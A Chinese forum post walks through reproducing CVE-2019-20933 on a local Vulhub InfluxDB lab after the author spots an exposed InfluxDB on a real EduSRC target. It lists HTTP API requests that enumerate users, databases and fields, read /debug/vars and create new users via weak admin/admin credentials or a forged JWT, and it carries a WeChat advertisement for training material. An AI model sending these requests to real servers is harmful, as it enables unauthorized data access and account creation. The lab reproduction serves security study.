记录一次时序数据库的实战测试

打印 上一主题 下一主题

主题 843|帖子 843|积分 2531

0x1.背景

在某次Edusrc挖掘过程中,我发现了一个404状态码的ip站如下图所示:
[img=720,272.3124357656732]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310261420500.png[/img]
我的直觉告诉我,这个站不太简单。于是我信息搜集了一下端口为8086的常见服务:
[img=720,138.49096705632306]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310261420502.png[/img]
当我看到这个InfluxDB的时候,我灵感突然来了,虽然我当时不知道是什么,我尝试着进行抓包看看返回包,但是多尝试一下没想到这个站点还真的是InfluxDB服务!
[img=720,248.85906040268458]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310261420503.png[/img]
后续利用我先不讲,我们先好好讲一下InfluxDB是一个怎么样的数据库。
0x3.InfluxDB介绍

InfluxDB是一个由InfluxData开发的开源时序型数据库。它由Go写成,着力于高性能地查询与存储时序型数据。InfluxDB被广泛应用于存储系统的监控数据,IoT行业的实时数据等场景。
在了解了InfluxDB的基本概念之后我们得先了解一下什么是时序性数据库。
为了方便理解我将时序性数据库与大家常用的关系型数据库进行一个以表格的形式进行对比展示:

然后我也整理了一下MySQL与InfluxDB概念差异和相关概念扩展用一个表格来进行对比展示:

 然后这里整理了一些常见的 InfluxQL Http Api的语句:
  1. GET /query?q=SHOW USERS #查看当前所有的数据库用户
  2. GET /query?q=SHOW DATABASES #查看所有数据库
  3. GET /query?q=SHOW MEASUREMENTS&db=某个db的名称 #查询数据库中所含的表
  4. GET /query?q=SHOW FIELD KEYS&db=某个db的名称 # 查看当前数据库所有表的字段
  5. GET /query?q=show series&db=某个db的名称 # 查看series
  6. GET /debug/vars #debug敏感泄露
  7. POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX' # 这一点需要伪造jwt
复制代码
0x3.本地漏洞复现

实战的利用过程就不放上来了,放上来也是厚码还不如直接本地复现讲的更清楚。
使用Vulhub在本地虚拟机上搭建:
没有搭建过vulhub靶场可以参考官方文档:https://vulhub.org/#/docs/install-docker/
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
搭建好后我们直接使用如下命令:
  1. cd /vulhub/influxdb/CVE-2019-20933
  2. docker-compose up -d
复制代码
开放在默认的8086端口,环境启动后,访问xxx:8086即可开始复现:
[img=720,280.8046722907203]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310261420505.png[/img]
虽然是404,但是抓包回显发现是influxdb服务
[img=720,235.79185520361992]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310261420506.png[/img]
[img=720,270.63829787234044]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310261420507.png[/img]
我简单尝试之后发现是弱口令admin/admin。如果发现弱口令不可以的话,可以伪造jwt我就不多赘述了。
然后我们来进行测试:
debug敏感泄露

GET /debug/vars
[img=720,603.5643564356436]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310261420508.png[/img]
查看当前所有的数据库用户

GET /query?q=SHOW USERS
[img=720,422.99287410926365]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310261420509.png[/img]
查看所有数据库

GET /query?q=SHOW DATABASES
[img=720,389.51724137931035]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310261420510.png[/img]
查询数据库中所含的表

GET /query?q=SHOW MEASUREMENTS&db=某个db的名称
[img=720,596.3488843813387]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310261420512.png[/img]
查看当前数据库所有表的字段

GET /query?q=SHOW FIELD KEYS&db=某个db的名称
[img=720,576.0943643512451]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310261420513.png[/img]
查看series

GET /query?q=show series&db=某个db的名称
[img=720,421.6276894293732]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310261420514.png[/img]
任意用户写

POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX'
[img=720,335.2671755725191]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310261420515.png[/img]
GET /query?q=SHOW USERS
再来查看一下:
[img=720,412.94117647058823]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310261420516.png[/img]
最后别忘了关闭容器:
  1. docker stop cve-2019-20933_web_1
复制代码
0x5.总结

这篇主要是分享一下经验,也就是说不一定状态码是404的站点就一定不能利用。我相信阅读完此篇然后去复现一下,你对InfluxDB的利用肯定有不一样的理解~
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

tsx81428

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表